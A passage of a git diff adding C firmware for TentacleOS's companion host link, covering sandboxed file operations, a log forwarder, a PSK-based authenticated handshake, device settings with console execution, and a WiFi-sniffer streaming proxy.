'\0'; + + if (strstr(out, "..") != NULL) { + return false; // no traversal out of the sandbox + } + for (size_t i = 0; i < sizeof(ALLOWED_ROOTS) / sizeof(ALLOWED_ROOTS[0]); i++) { + size_t rlen = strlen(ALLOWED_ROOTS[i]); + if (strncmp(out, ALLOWED_ROOTS[i], rlen) == 0 && (out[rlen] == '\0' || out[rlen] == '/')) { + return true; + } + } + return false; +} + +bool host_files_is_file_op(uint16_t cmd) { + return cmd >= SPI_ID_FILE_LIST && cmd <= SPI_ID_FILE_MKDIR; +} + +static uint8_t do_list(const char *path, uint8_t *out, uint16_t cap, uint16_t *out_len) { + DIR *dir = opendir(path); + if (dir == NULL) { + return SPI_STATUS_ERROR; + } + + uint16_t off = 2; // reserve [u16 count] + uint16_t count = 0; + struct dirent *e; + while ((e = readdir(dir)) != NULL) { + uint8_t nlen = (uint8_t)strnlen(e->d_name, 255); + char full[FILE_PATH_MAX + 260]; // path + '/' + entry name, no truncation + struct stat st = {0}; + snprintf(full, sizeof(full), "%s/%s", path, e->d_name); + stat(full, &st); + + uint16_t entry_len = (uint16_t)(1 + 4 + 1 + nlen); + if ((uint32_t)off + entry_len > cap) { + break; // remaining entries don't fit this chunk + } + out[off++] = (e->d_type == DT_DIR) ? 1 : 0; + wr_u32(out + off, (uint32_t)st.st_size); + off += 4; + out[off++] = nlen; + memcpy(out + off, e->d_name, nlen); + off += nlen; + count++; + } + closedir(dir); + + out[0] = (uint8_t)(count & 0xFF); + out[1] = (uint8_t)((count >> 8) & 0xFF); + *out_len = off; + return SPI_STATUS_OK; +} + +static uint8_t do_stat(const char *path, uint8_t *out, uint16_t *out_len) { + struct stat st = {0}; + bool exists = (stat(path, &st) == 0); + out[0] = exists ? 1 : 0; + out[1] = (exists && S_ISDIR(st.st_mode)) ? 1 : 0; + wr_u32(out + 2, exists ? (uint32_t)st.st_size : 0); + *out_len = 6; + return SPI_STATUS_OK; +} + +static uint8_t do_read(const uint8_t *payload, uint16_t plen, uint8_t *out, uint16_t cap, + uint16_t *out_len) { + if (plen < 6) { + return SPI_STATUS_INVALID_ARG; + } + uint32_t offset = rd_u32(payload); + uint16_t want = rd_u16(payload + 4); + char path[FILE_PATH_MAX]; + if (!path_ok(payload + 6, (uint16_t)(plen - 6), path, sizeof(path))) { + return SPI_STATUS_INVALID_ARG; + } + if (want > cap) { + want = cap; + } + + FILE *f = fopen(path, "rb"); + if (f == NULL) { + return SPI_STATUS_ERROR; + } + if (fseek(f, (long)offset, SEEK_SET) != 0) { + fclose(f); + return SPI_STATUS_ERROR; + } + size_t got = fread(out, 1, want, f); + fclose(f); + *out_len = (uint16_t)got; + return SPI_STATUS_OK; +} + +static uint8_t do_write(const uint8_t *payload, uint16_t plen, uint8_t *out, uint16_t *out_len) { + if (plen < 7) { + return SPI_STATUS_INVALID_ARG; + } + uint32_t offset = rd_u32(payload); + uint8_t flags = payload[4]; + uint16_t path_len = rd_u16(payload + 5); + if ((uint32_t)7 + path_len > plen) { + return SPI_STATUS_INVALID_ARG; + } + char path[FILE_PATH_MAX]; + if (!path_ok(payload + 7, path_len, path, sizeof(path))) { + return SPI_STATUS_INVALID_ARG; + } + const uint8_t *data = payload + 7 + path_len; + uint16_t data_len = (uint16_t)(plen - 7 - path_len); + + // Truncate/create starts a fresh file; otherwise update in place at offset + // (creating the file if absent). + FILE *f = NULL; + if (flags & FILE_WRITE_TRUNCATE) { + f = fopen(path, "wb"); + } else { + f = fopen(path, "r+b"); + if (f == NULL) { + f = fopen(path, "wb"); + } + } + if (f == NULL) { + return SPI_STATUS_ERROR; + } + if (!(flags & FILE_WRITE_TRUNCATE) && fseek(f, (long)offset, SEEK_SET) != 0) { + fclose(f); + return SPI_STATUS_ERROR; + } + size_t written = (data_len > 0) ? fwrite(data, 1, data_len, f) : 0; + fclose(f); + + wr_u32(out, (uint32_t)written); + *out_len = 4; + return (written == data_len) ? SPI_STATUS_OK : SPI_STATUS_ERROR; +} + +uint8_t host_files_handle(uint16_t cmd, const uint8_t *payload, uint16_t plen, uint8_t *out_data, + uint16_t out_cap, uint16_t *out_len) { + *out_len = 0; + if (payload == NULL && plen > 0) { + return SPI_STATUS_INVALID_ARG; + } + + char path[FILE_PATH_MAX]; + + switch (cmd) { + case SPI_ID_FILE_LIST: + if (!path_ok(payload, plen, path, sizeof(path))) + return SPI_STATUS_INVALID_ARG; + return do_list(path, out_data, out_cap, out_len); + + case SPI_ID_FILE_STAT: + if (!path_ok(payload, plen, path, sizeof(path))) + return SPI_STATUS_INVALID_ARG; + return do_stat(path, out_data, out_len); + + case SPI_ID_FILE_READ: + return do_read(payload, plen, out_data, out_cap, out_len); + + case SPI_ID_FILE_WRITE: + return do_write(payload, plen, out_data, out_len); + + case SPI_ID_FILE_DELETE: + if (!path_ok(payload, plen, path, sizeof(path))) + return SPI_STATUS_INVALID_ARG; + return (remove(path) == 0) ? SPI_STATUS_OK : SPI_STATUS_ERROR; + + case SPI_ID_FILE_MKDIR: + if (!path_ok(payload, plen, path, sizeof(path))) + return SPI_STATUS_INVALID_ARG; + return (mkdir(path, 0775) == 0) ? SPI_STATUS_OK : SPI_STATUS_ERROR; + + default: + ESP_LOGW(TAG, "Unhandled file op 0x%04X", cmd); + return SPI_STATUS_UNSUPPORTED; + } +} diff --git a/firmware_p4/components/Service/host_link/host_link_log.c b/firmware_p4/components/Service/host_link/host_link_log.c new file mode 100644 index 000000000..3b33a7cd6 --- /dev/null +++ b/firmware_p4/components/Service/host_link/host_link_log.c @@ -0,0 +1,149 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +// P4 log tee. Hooks esp_log_set_vprintf so every ESP_LOGx line is (1) still +// printed on the local dev console via the original handler, and (2) copied +// (ANSI stripped) into a drop-oldest ring. A worker task drains the ring and +// forwards each line as a LOG frame with source=P4. The hook never blocks and +// never logs, so it can't stall or recurse on the logging path. + +#include "host_link.h" + +#include +#include +#include + +#include "esp_log.h" +#include "freertos/FreeRTOS.h" +#include "freertos/queue.h" +#include "freertos/task.h" + +#define HOST_LOG_LINE_MAX 240 // bytes of stripped text kept per line +#define HOST_LOG_QUEUE_DEPTH 24 // ring slots (drop-oldest beyond this) +#define HOST_LOG_TASK_STK 4096 +#define HOST_LOG_TASK_PRIO 4 + +typedef struct { + uint8_t level; + uint16_t len; + char text[HOST_LOG_LINE_MAX]; +} log_line_t; + +static QueueHandle_t s_log_queue = NULL; +static TaskHandle_t s_log_task = NULL; +static vprintf_like_t s_prev_vprintf = NULL; +static volatile uint32_t s_dropped = 0; + +// Map the leading ESP-IDF level letter to the host-link level enum. +static host_log_level_t level_from_letter(char c) { + switch (c) { + case 'E': + return HOST_LOG_LEVEL_ERROR; + case 'W': + return HOST_LOG_LEVEL_WARN; + case 'D': + return HOST_LOG_LEVEL_DEBUG; + case 'V': + return HOST_LOG_LEVEL_VERBOSE; + case 'I': + default: + return HOST_LOG_LEVEL_INFO; + } +} + +// Copy src→dst dropping CSI/ANSI escape sequences (ESC '[' ... final 0x40-0x7E) +// and trailing CR/LF. Returns the dst length. +static uint16_t strip_ansi(const char *src, int src_len, char *dst, uint16_t dst_cap) { + uint16_t n = 0; + for (int i = 0; i < src_len && n < dst_cap; i++) { + char c = src[i]; + if (c == '\033') { + i++; // skip '[' + while (i + 1 < src_len && !(src[i + 1] >= '@' && src[i + 1] <= '~')) + i++; + i++; // skip the final byte of the sequence + continue; + } + dst[n++] = c; + } + while (n > 0 && (dst[n - 1] == '\n' || dst[n - 1] == '\r')) + n--; + return n; +} + +static int log_vprintf(const char *fmt, va_list args) { + // 1. Preserve the local dev console with an untouched copy of the args. + int ret = 0; + if (s_prev_vprintf != NULL) { + va_list args_copy; + va_copy(args_copy, args); + ret = s_prev_vprintf(fmt, args_copy); + va_end(args_copy); + } + + if (s_log_queue == NULL) + return ret; + + // 2. Render and queue a stripped copy for the app (non-blocking, drop-oldest). + char raw[HOST_LOG_LINE_MAX * 2]; + int raw_len = vsnprintf(raw, sizeof(raw), fmt, args); + if (raw_len <= 0) + return ret; + if (raw_len > (int)sizeof(raw) - 1) + raw_len = (int)sizeof(raw) - 1; + + log_line_t line; + line.len = strip_ansi(raw, raw_len, line.text, sizeof(line.text)); + if (line.len == 0) + return ret; + line.level = (uint8_t)level_from_letter(line.text[0]); + + if (xQueueSend(s_log_queue, &line, 0) != pdTRUE) { + log_line_t discard; + if (xQueueReceive(s_log_queue, &discard, 0) == pdTRUE) + s_dropped++; + xQueueSend(s_log_queue, &line, 0); + } + return ret; +} + +static void log_task(void *arg) { + (void)arg; + log_line_t line; + for (;;) { + if (xQueueReceive(s_log_queue, &line, portMAX_DELAY) == pdTRUE) { + host_link_emit_log(HOST_LOG_SRC_P4, (host_log_level_t)line.level, line.text, line.len); + } + } +} + +esp_err_t host_link_log_init(void) { + if (s_log_queue != NULL) + return ESP_OK; // already installed + + s_log_queue = xQueueCreate(HOST_LOG_QUEUE_DEPTH, sizeof(log_line_t)); + if (s_log_queue == NULL) + return ESP_ERR_NO_MEM; + + if (xTaskCreate(log_task, "hl_log", HOST_LOG_TASK_STK, NULL, HOST_LOG_TASK_PRIO, &s_log_task) != + pdPASS) { + vQueueDelete(s_log_queue); + s_log_queue = NULL; + return ESP_FAIL; + } + + s_prev_vprintf = esp_log_set_vprintf(log_vprintf); + return ESP_OK; +} diff --git a/firmware_p4/components/Service/host_link/host_link_sec.c b/firmware_p4/components/Service/host_link/host_link_sec.c new file mode 100644 index 000000000..65637a8f2 --- /dev/null +++ b/firmware_p4/components/Service/host_link/host_link_sec.c @@ -0,0 +1,234 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "host_link_sec.h" + +#include + +#include "esp_log.h" +#include "esp_mac.h" +#include "esp_random.h" +#include "mbedtls/hkdf.h" +#include "mbedtls/md.h" +#include "mbedtls/platform_util.h" +#include "nvs.h" + +#include "host_link.h" + +static const char *TAG = "HOST_LINK_SEC"; + +#define HL_NVS_NAMESPACE "hostlink" +#define HL_NVS_PSK_KEY "psk" + +#define HL_MAC_SIZE 16 // truncated HMAC length on the wire (HOST_LINK_MAC_SIZE) + +// HKDF info labels: distinct per direction so a captured frame can't be +// reflected back on the other key. +static const char HL_INFO_A2D[] = "tos-host-a2d"; +static const char HL_INFO_D2A[] = "tos-host-d2a"; + +static uint8_t s_psk[HOST_LINK_PSK_SIZE]; +static bool s_psk_loaded = false; + +static bool s_authed = false; +static uint8_t s_k_a2d[HOST_LINK_KEY_SIZE]; +static uint8_t s_k_d2a[HOST_LINK_KEY_SIZE]; +static uint32_t s_rx_counter = 0; +static bool s_rx_valid = false; + +static const mbedtls_md_info_t *md_sha256(void) { + return mbedtls_md_info_from_type(MBEDTLS_MD_SHA256); +} + +// HMAC-SHA256 truncated to HL_MAC_SIZE. +static void hmac_trunc(const uint8_t *key, size_t key_len, const uint8_t *data, size_t data_len, + uint8_t *out_mac) { + uint8_t full[32]; + mbedtls_md_hmac(md_sha256(), key, key_len, data, data_len, full); + memcpy(out_mac, full, HL_MAC_SIZE); +} + +// Constant-time equality to avoid leaking MAC mismatch position via timing. +static bool ct_equal(const uint8_t *a, const uint8_t *b, size_t len) { + uint8_t diff = 0; + for (size_t i = 0; i < len; i++) + diff |= (uint8_t)(a[i] ^ b[i]); + return diff == 0; +} + +static esp_err_t persist_psk(void) { + nvs_handle_t h; + esp_err_t err = nvs_open(HL_NVS_NAMESPACE, NVS_READWRITE, &h); + if (err != ESP_OK) + return err; + err = nvs_set_blob(h, HL_NVS_PSK_KEY, s_psk, sizeof(s_psk)); + if (err == ESP_OK) + err = nvs_commit(h); + nvs_close(h); + return err; +} + +esp_err_t host_link_sec_init(void) { + host_link_sec_reset(); + + nvs_handle_t h; + esp_err_t err = nvs_open(HL_NVS_NAMESPACE, NVS_READWRITE, &h); + if (err != ESP_OK) { + ESP_LOGE(TAG, "nvs_open failed: %s", esp_err_to_name(err)); + return err; + } + + size_t len = sizeof(s_psk); + err = nvs_get_blob(h, HL_NVS_PSK_KEY, s_psk, &len); + nvs_close(h); + + if (err == ESP_OK && len == sizeof(s_psk)) { + s_psk_loaded = true; + ESP_LOGI(TAG, "PSK loaded from NVS"); + return ESP_OK; + } + + // First boot (or wrong size): mint a fresh PSK from the hardware RNG. + esp_fill_random(s_psk, sizeof(s_psk)); + s_psk_loaded = true; + err = persist_psk(); + if (err != ESP_OK) { + ESP_LOGE(TAG, "Failed to persist PSK: %s", esp_err_to_name(err)); + return err; + } + ESP_LOGW(TAG, "Generated a new pairing PSK (provision it to the app)"); + return ESP_OK; +} + +bool host_link_sec_is_authenticated(void) { + return s_authed; +} + +void host_link_sec_reset(void) { + s_authed = false; + s_rx_valid = false; + s_rx_counter = 0; + mbedtls_platform_zeroize(s_k_a2d, sizeof(s_k_a2d)); + mbedtls_platform_zeroize(s_k_d2a, sizeof(s_k_d2a)); +} + +esp_err_t host_link_sec_handle_hello(const uint8_t *payload, uint16_t plen, uint8_t *ack_out, + size_t ack_cap, size_t *out_len) { + if (!s_psk_loaded) + return ESP_ERR_INVALID_STATE; + // HELLO payload = [host_ver u8][client_nonce[16]] + if (payload == NULL || plen < 1 + HOST_LINK_NONCE_SIZE) + return ESP_ERR_INVALID_ARG; + + uint8_t host_ver = payload[0]; + const uint8_t *client_nonce = payload + 1; + + uint8_t server_nonce[HOST_LINK_NONCE_SIZE]; + esp_fill_random(server_nonce, sizeof(server_nonce)); + + // salt = client_nonce || server_nonce (shared transcript material). + uint8_t salt[HOST_LINK_NONCE_SIZE * 2]; + memcpy(salt, client_nonce, HOST_LINK_NONCE_SIZE); + memcpy(salt + HOST_LINK_NONCE_SIZE, server_nonce, HOST_LINK_NONCE_SIZE); + + int rc = mbedtls_hkdf(md_sha256(), salt, sizeof(salt), s_psk, sizeof(s_psk), + (const uint8_t *)HL_INFO_A2D, sizeof(HL_INFO_A2D) - 1, s_k_a2d, + sizeof(s_k_a2d)); + if (rc == 0) + rc = mbedtls_hkdf(md_sha256(), salt, sizeof(salt), s_psk, sizeof(s_psk), + (const uint8_t *)HL_INFO_D2A, sizeof(HL_INFO_D2A) - 1, s_k_d2a, + sizeof(s_k_d2a)); + if (rc != 0) { + ESP_LOGE(TAG, "HKDF failed: -0x%04x", -rc); + host_link_sec_reset(); + return ESP_FAIL; + } + + // mac_psk = HMAC(PSK, client_nonce || server_nonce) — proves PSK possession. + uint8_t mac_psk[HL_MAC_SIZE]; + hmac_trunc(s_psk, sizeof(s_psk), salt, sizeof(salt), mac_psk); + + uint8_t device_id[HOST_LINK_DEVICE_ID_SIZE]; + esp_read_mac(device_id, ESP_MAC_BASE); + + // HELLO_ACK payload = [host_ver][server_nonce[16]][device_id[6]][mac_psk[16]] + size_t need = 1 + HOST_LINK_NONCE_SIZE + HOST_LINK_DEVICE_ID_SIZE + HL_MAC_SIZE; + if (ack_cap < need) + return ESP_ERR_INVALID_SIZE; + + size_t off = 0; + ack_out[off++] = host_ver; + memcpy(ack_out + off, server_nonce, HOST_LINK_NONCE_SIZE); + off += HOST_LINK_NONCE_SIZE; + memcpy(ack_out + off, device_id, HOST_LINK_DEVICE_ID_SIZE); + off += HOST_LINK_DEVICE_ID_SIZE; + memcpy(ack_out + off, mac_psk, HL_MAC_SIZE); + off += HL_MAC_SIZE; + *out_len = off; + + // Keys are live; counters reset (inbound baseline set by the first authed frame). + s_rx_valid = false; + s_rx_counter = 0; + s_authed = true; + ESP_LOGI(TAG, "Handshake complete; session authenticated"); + return ESP_OK; +} + +bool host_link_sec_verify_inbound(const uint8_t *span, size_t span_len, const uint8_t *mac, + uint32_t counter) { + if (!s_authed) + return false; + + uint8_t expect[HL_MAC_SIZE]; + hmac_trunc(s_k_a2d, sizeof(s_k_a2d), span, span_len, expect); + if (!ct_equal(expect, mac, HL_MAC_SIZE)) + return false; + + // Replay protection: strictly-increasing counter after the first authed frame. + if (s_rx_valid && counter <= s_rx_counter) + return false; + + s_rx_counter = counter; + s_rx_valid = true; + return true; +} + +void host_link_sec_sign_outbound(const uint8_t *span, size_t span_len, uint8_t *out_mac) { + hmac_trunc(s_k_d2a, sizeof(s_k_d2a), span, span_len, out_mac); +} + +esp_err_t host_link_sec_get_psk_hex(char *out, size_t out_cap) { + if (!s_psk_loaded) + return ESP_ERR_INVALID_STATE; + if (out_cap < HOST_LINK_PSK_HEX_SIZE) + return ESP_ERR_INVALID_SIZE; + static const char hex[] = "0123456789abcdef"; + for (size_t i = 0; i < sizeof(s_psk); i++) { + out[i * 2] = hex[s_psk[i] >> 4]; + out[i * 2 + 1] = hex[s_psk[i] & 0x0F]; + } + out[sizeof(s_psk) * 2] = '\0'; + return ESP_OK; +} + +esp_err_t host_link_sec_regenerate_psk(void) { + esp_fill_random(s_psk, sizeof(s_psk)); + s_psk_loaded = true; + host_link_sec_reset(); + esp_err_t err = persist_psk(); + if (err == ESP_OK) + ESP_LOGW(TAG, "PSK regenerated; existing pairings invalidated"); + return err; +} diff --git a/firmware_p4/components/Service/host_link/host_link_state.c b/firmware_p4/components/Service/host_link/host_link_state.c new file mode 100644 index 000000000..65af3063a --- /dev/null +++ b/firmware_p4/components/Service/host_link/host_link_state.c @@ -0,0 +1,199 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +// P4-local device state, settings (toggles), and raw console execution for the +// companion host link. Device state aggregates battery (BQ25896 gauge), the +// firmware versions (P4 local + C5 over SPI), and connection state. Console +// exec runs a line through esp_console and streams the captured stdout back as +// console-output LOG frames. + +#include "host_link_state.h" + +#include +#include + +#include "esp_console.h" +#include "esp_log.h" +#include "nvs.h" + +#include "bq25896.h" +#include "host_link.h" +#include "ota_version.h" +#include "spi_bridge.h" +#include "spi_protocol.h" + +static const char *TAG = "HOST_LINK_STATE"; + +#define HL_NVS_NAMESPACE "hostlink" +#define HL_NVS_CONSOLE_KEY "cons_exec" +#define HL_NVS_LOGBLE_KEY "log_ble" +#define STATE_VERSION_MAX 32 +#define STATE_CONSOLE_LINE 256 +#define STATE_CONSOLE_CAPBUF 2048 +#define STATE_CONSOLE_SPI_MS 3000 + +static bool s_console_exec_enabled = true; +static bool s_log_over_ble_enabled = true; + +esp_err_t host_link_state_init(void) { + nvs_handle_t h; + if (nvs_open(HL_NVS_NAMESPACE, NVS_READWRITE, &h) != ESP_OK) { + return ESP_OK; // keep defaults if NVS unavailable + } + uint8_t v; + if (nvs_get_u8(h, HL_NVS_CONSOLE_KEY, &v) == ESP_OK) + s_console_exec_enabled = (v != 0); + if (nvs_get_u8(h, HL_NVS_LOGBLE_KEY, &v) == ESP_OK) + s_log_over_ble_enabled = (v != 0); + nvs_close(h); + return ESP_OK; +} + +bool host_settings_console_exec_enabled(void) { + return s_console_exec_enabled; +} + +bool host_settings_log_over_ble_enabled(void) { + return s_log_over_ble_enabled; +} + +bool host_state_is_local_op(uint16_t cmd) { + return cmd == SPI_ID_SYSTEM_DEVICE_STATE || cmd == SPI_ID_SYSTEM_CONSOLE_EXEC || + cmd == SPI_ID_SYSTEM_GET_SETTINGS || cmd == SPI_ID_SYSTEM_SET_SETTINGS; +} + +static void persist_settings(void) { + nvs_handle_t h; + if (nvs_open(HL_NVS_NAMESPACE, NVS_READWRITE, &h) != ESP_OK) + return; + nvs_set_u8(h, HL_NVS_CONSOLE_KEY, s_console_exec_enabled ? 1 : 0); + nvs_set_u8(h, HL_NVS_LOGBLE_KEY, s_log_over_ble_enabled ? 1 : 0); + nvs_commit(h); + nvs_close(h); +} + +// DeviceStatus = [battery_pct u8][charging u8][app_connected u8] +// [ver_p4_len u8][ver_p4][ver_c5_len u8][ver_c5] +static uint8_t do_device_state(uint8_t *out, uint16_t cap, uint16_t *out_len) { + uint16_t mv = bq25896_get_battery_voltage(); + uint8_t pct = (uint8_t)bq25896_get_battery_percentage(mv); + uint8_t charging = bq25896_is_charging() ? 1 : 0; + + const char *ver_p4 = FIRMWARE_VERSION; + size_t p4_full = strlen(ver_p4); + uint8_t p4_len = (uint8_t)((p4_full < STATE_VERSION_MAX) ? p4_full : (STATE_VERSION_MAX - 1)); + + char ver_c5[STATE_VERSION_MAX] = {0}; + uint8_t c5_len = 0; + spi_header_t resp; + uint8_t resp_buf[SPI_MAX_PAYLOAD]; + if (spi_bridge_send_command(SPI_ID_SYSTEM_VERSION, NULL, 0, &resp, resp_buf, 1000) == ESP_OK) { + c5_len = (resp.length < STATE_VERSION_MAX) ? resp.length : (STATE_VERSION_MAX - 1); + memcpy(ver_c5, resp_buf, c5_len); + } + + uint16_t need = (uint16_t)(3 + 1 + p4_len + 1 + c5_len); + if (need > cap) + return SPI_STATUS_ERROR; + + uint16_t off = 0; + out[off++] = pct; + out[off++] = charging; + out[off++] = 1; // app_connected: replying implies a live companion session + out[off++] = p4_len; + memcpy(out + off, ver_p4, p4_len); + off += p4_len; + out[off++] = c5_len; + memcpy(out + off, ver_c5, c5_len); + off += c5_len; + *out_len = off; + return SPI_STATUS_OK; +} + +static uint8_t do_console_exec(const uint8_t *payload, uint16_t plen) { + if (!s_console_exec_enabled) { + return SPI_STATUS_UNSUPPORTED; + } + if (payload == NULL || plen == 0 || plen >= STATE_CONSOLE_LINE) { + return SPI_STATUS_INVALID_ARG; + } + + char line[STATE_CONSOLE_LINE]; + memcpy(line, payload, plen); + line[plen] = '\0'; + + // Capture the command's stdout and forward it as console-output LOG frames. + static char capbuf[STATE_CONSOLE_CAPBUF]; + FILE *mem = fmemopen(capbuf, sizeof(capbuf), "w"); + int cmd_ret = 0; + if (mem != NULL) { + FILE *saved = stdout; + stdout = mem; + esp_console_run(line, &cmd_ret); + fflush(mem); + stdout = saved; + long n = ftell(mem); + fclose(mem); + for (long off = 0; off < n;) { + long slice = n - off; + if (slice > 200) + slice = 200; + host_link_emit_console(capbuf + off, (size_t)slice); + off += slice; + } + } else { + esp_console_run(line, &cmd_ret); + } + return SPI_STATUS_OK; +} + +uint8_t host_state_handle(uint16_t cmd, const uint8_t *payload, uint16_t plen, uint8_t *out_data, + uint16_t out_cap, uint16_t *out_len) { + *out_len = 0; + + switch (cmd) { + case SPI_ID_SYSTEM_DEVICE_STATE: + return do_device_state(out_data, out_cap, out_len); + + case SPI_ID_SYSTEM_CONSOLE_EXEC: + return do_console_exec(payload, plen); + + case SPI_ID_SYSTEM_GET_SETTINGS: + if (out_cap < 2) + return SPI_STATUS_ERROR; + out_data[0] = s_console_exec_enabled ? 1 : 0; + out_data[1] = s_log_over_ble_enabled ? 1 : 0; + *out_len = 2; + return SPI_STATUS_OK; + + case SPI_ID_SYSTEM_SET_SETTINGS: + if (payload == NULL || plen < 2) + return SPI_STATUS_INVALID_ARG; + s_console_exec_enabled = (payload[0] != 0); + s_log_over_ble_enabled = (payload[1] != 0); + persist_settings(); + if (out_cap >= 2) { + out_data[0] = s_console_exec_enabled ? 1 : 0; + out_data[1] = s_log_over_ble_enabled ? 1 : 0; + *out_len = 2; + } + ESP_LOGI(TAG, "Settings: console_exec=%d log_over_ble=%d", s_console_exec_enabled, + s_log_over_ble_enabled); + return SPI_STATUS_OK; + + default: + return SPI_STATUS_UNSUPPORTED; + } +} diff --git a/firmware_p4/components/Service/host_link/host_link_stream.c b/firmware_p4/components/Service/host_link/host_link_stream.c new file mode 100644 index 000000000..d618000b7 --- /dev/null +++ b/firmware_p4/components/Service/host_link/host_link_stream.c @@ -0,0 +1,203 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +// Companion streaming + heartbeat proxy. The app starts a long-running op (the +// WiFi sniffer) over the host link; this module runs it through the existing +// spi_session model and forwards every record to the app as a STREAM frame. +// Two-level liveness: the app heartbeats the P4 here; the spi_session layer +// keeps heartbeating the C5 on its own. If the app goes silent (watchdog) or +// the link drops, we stop the session, which stops the P4→C5 heartbeat → the +// C5 watchdog reaps it. + +#include "host_link_stream.h" + +#include + +#include "esp_log.h" +#include "esp_timer.h" +#include "freertos/FreeRTOS.h" +#include "freertos/semphr.h" +#include "freertos/task.h" + +#include "host_link.h" +#include "spi_protocol.h" +#include "spi_session.h" + +static const char *TAG = "HOST_LINK_STREAM"; + +#define STREAM_APP_TIMEOUT_MS 6000 // tear down if no app heartbeat within this +#define STREAM_WATCHDOG_TICK_MS 1000 +#define STREAM_WD_TASK_STK 3072 +#define STREAM_WD_TASK_PRIO 4 + +// Ops the proxy owns (start via spi_session and push records to the app). +static const uint16_t SESSION_OPS[] = {SPI_ID_WIFI_APP_SNIFFER}; + +static SemaphoreHandle_t s_lock = NULL; +static uint32_t s_session_id = SPI_SESSION_INVALID_ID; +static uint16_t s_session_op = 0; +static int64_t s_last_app_hb_us = 0; +static TaskHandle_t s_watchdog = NULL; + +static void on_stream(const uint8_t *data, uint8_t len); +static void on_lost(uint32_t session_id, spi_id_t op_id); +static void watchdog_task(void *arg); + +esp_err_t host_link_stream_init(void) { + if (s_lock == NULL) { + s_lock = xSemaphoreCreateMutex(); + if (s_lock == NULL) + return ESP_ERR_NO_MEM; + } + return ESP_OK; +} + +bool host_stream_is_session_op(uint16_t cmd) { + for (size_t i = 0; i < sizeof(SESSION_OPS) / sizeof(SESSION_OPS[0]); i++) { + if (SESSION_OPS[i] == cmd) + return true; + } + return false; +} + +static void stop_locked(void) { + if (s_session_id != SPI_SESSION_INVALID_ID) { + uint32_t sid = s_session_id; + s_session_id = SPI_SESSION_INVALID_ID; + s_session_op = 0; + xSemaphoreGive(s_lock); + spi_session_stop(sid); // sends STOP to C5 + kills the P4→C5 heartbeat + xSemaphoreTake(s_lock, portMAX_DELAY); + } +} + +void host_stream_teardown(void) { + if (s_lock == NULL) + return; + xSemaphoreTake(s_lock, portMAX_DELAY); + stop_locked(); + xSemaphoreGive(s_lock); +} + +uint8_t host_stream_start(uint16_t cmd, const uint8_t *payload, uint16_t plen, uint8_t *out_data, + uint16_t out_cap, uint16_t *out_len) { + *out_len = 0; + if (out_cap < sizeof(uint32_t)) { + return SPI_STATUS_ERROR; + } + if (plen > SPI_MAX_PAYLOAD) { + return SPI_STATUS_INVALID_ARG; + } + + // spi_session takes one global session; replace any prior one we held. + host_stream_teardown(); + + uint32_t sid = spi_session_start(cmd, payload, (uint8_t)plen, on_stream, on_lost); + if (sid == SPI_SESSION_INVALID_ID) { + return SPI_STATUS_ERROR; + } + + xSemaphoreTake(s_lock, portMAX_DELAY); + s_session_id = sid; + s_session_op = cmd; + s_last_app_hb_us = esp_timer_get_time(); + xSemaphoreGive(s_lock); + + if (s_watchdog == NULL) { + xTaskCreate(watchdog_task, "hl_stream_wd", STREAM_WD_TASK_STK, NULL, STREAM_WD_TASK_PRIO, + &s_watchdog); + } + + memcpy(out_data, &sid, sizeof(sid)); + *out_len = sizeof(sid); + ESP_LOGI(TAG, "Stream session 0x%08lx started for op 0x%04X", (unsigned long)sid, cmd); + return SPI_STATUS_OK; +} + +uint8_t host_stream_session_ctrl(uint16_t cmd, const uint8_t *payload, uint16_t plen, + uint8_t *out_data, uint16_t out_cap, uint16_t *out_len) { + (void)payload; + (void)plen; + *out_len = 0; + + switch (cmd) { + case SPI_ID_SESSION_HEARTBEAT: { + // App proved it is alive; refresh the deadline. The P4 keeps the C5 + // session alive via spi_session's own heartbeat, so we do not relay. + xSemaphoreTake(s_lock, portMAX_DELAY); + s_last_app_hb_us = esp_timer_get_time(); + bool active = (s_session_id != SPI_SESSION_INVALID_ID); + xSemaphoreGive(s_lock); + if (out_cap >= 1) { + out_data[0] = active ? 1 : 0; // mirrors spi_heartbeat_resp_t.alive + *out_len = 1; + } + return SPI_STATUS_OK; + } + + case SPI_ID_SESSION_STOP: + host_stream_teardown(); + return SPI_STATUS_OK; + + default: + return SPI_STATUS_UNSUPPORTED; + } +} + +// spi_session callback: meta already stripped; for the sniffer this is +// [i8 rssi][u8 channel][u8 len][frame...]. Push it to the app verbatim. +static void on_stream(const uint8_t *data, uint8_t len) { + uint16_t op; + xSemaphoreTake(s_lock, portMAX_DELAY); + op = s_session_op; + bool active = (s_session_id != SPI_SESSION_INVALID_ID); + xSemaphoreGive(s_lock); + if (!active) { + return; + } + 